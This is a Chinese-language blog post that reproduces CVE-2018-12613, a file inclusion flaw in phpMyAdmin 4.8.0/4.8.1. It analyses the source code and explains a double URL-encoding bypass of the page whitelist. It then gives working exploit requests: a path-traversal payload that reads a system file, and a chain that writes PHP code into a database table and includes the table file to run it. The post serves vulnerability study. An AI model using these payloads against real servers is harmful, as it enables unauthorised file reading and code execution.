前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

作者头像
Mirror王宇阳
发布2020-11-12 11:07:07
1.1K0
发布2020-11-12 11:07:07
举报

CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

参考文章1 参考文章2 By:Mirror王宇阳

漏洞原理

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;
  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响:phpMyAdmin-4.8.0/4.8.1

漏洞环境

漏洞成因

漏洞索引:

  • 文件路径:.\phpMyAdmin\index.php
  • 位置锁定:line 55~63

源码分析:

代码语言:javascript
复制
// 如果有一个有效的目标,加载这个脚本
if (! empty($_REQUEST['target']) 
    //是否存在target参数
    && is_string($_REQUEST['target']) 
    //target是否为字符串
    && ! preg_match('/^index/', $_REQUEST['target'])
    //限制要求target以index开头
    && ! in_array($_REQUEST['target'], $target_blacklist)
    //限制target不能出现在$target_blacklist中
    /*
    	$target_blacklist = array(
    		'import.php' , 'export.php'
    	)
    	// target != 'import.php' != 'export.php'
    */
    && Core::checkPageValidity($_REQUEST['target'])
    // Core类的checkPageValidity()方法
) {
    include $_REQUEST['target'];
    exit;
}

第61行include $_REQUEST['target'] 暴露了存在LFI的可能。

需要的是绕过限制:

target参数不可以以index开头,不出现在target_blacklist中(!= import.php != export.php) 调用Core类[libraries\classes\Core.php]的checkPageValidity()自定义函数且结果为真

代码语言:javascript
复制
public static function checkPageValidity(&$page, array $whitelist = [])
    {	
        if (empty($whitelist)) {
            // 白名单
            //$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            //$page没有定义或$page不为字符串时 返回false
            return false;
        }

        if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值
            //$page存在$whitelist中的value返回true
            return true;
        }

        $_page = mb_substr( //mb_substr():返回字符串的一部分
            $page,
            0,
            mb_strpos($page . '?', '?')
            //返回从开始到问号之间的字符串
        );
        if (in_array($_page, $whitelist)) {
            //$_page存在$whitelist中的value返回true
            return true;
        }
		
        $_page = urldecode($page);//urldecode():解码已编码的URL
    //经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true
        $_page = mb_substr(//返回从开始到问号之间的字符串
            $_page,
            0,
            mb_strpos($_page . '?', '?')
            //mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

465~473代码的目的:二次URL解码

这里考虑到了URL二次编码和参数存在的情况! 例如传入:?target=db_datadict.php%253f 服务器在接收到URL请求连接后就会自动对URL进行一次解码为:?target=db_datadict.php%3f在遇到 $_page = urldecode($page);二次解码后为:?target=db_datadict.php?这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”

利用二次编码“%253f”可以绕过checkPageValidity()的检查!

由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f由此就造成了文件包含漏洞

漏洞复现

任意文件包含:

代码语言:javascript
复制
?target=db_sql.php%253f/../../../../../../windows/wininit.ini

任意代码执行:

  • 查询数据库路径: show global variables like "%datadir%";
  • 向数据库写入代码:
代码语言:javascript
复制
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>"
  • 包含该数据库文件:
代码语言:javascript
复制
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2019-12-09 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
    • 漏洞原理
      • 漏洞环境
        • 漏洞成因
          • 漏洞索引:
          • 源码分析:
        • 漏洞复现
          • 任意文件包含:
          • 任意代码执行:
      相关产品与服务
      数据库
      云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档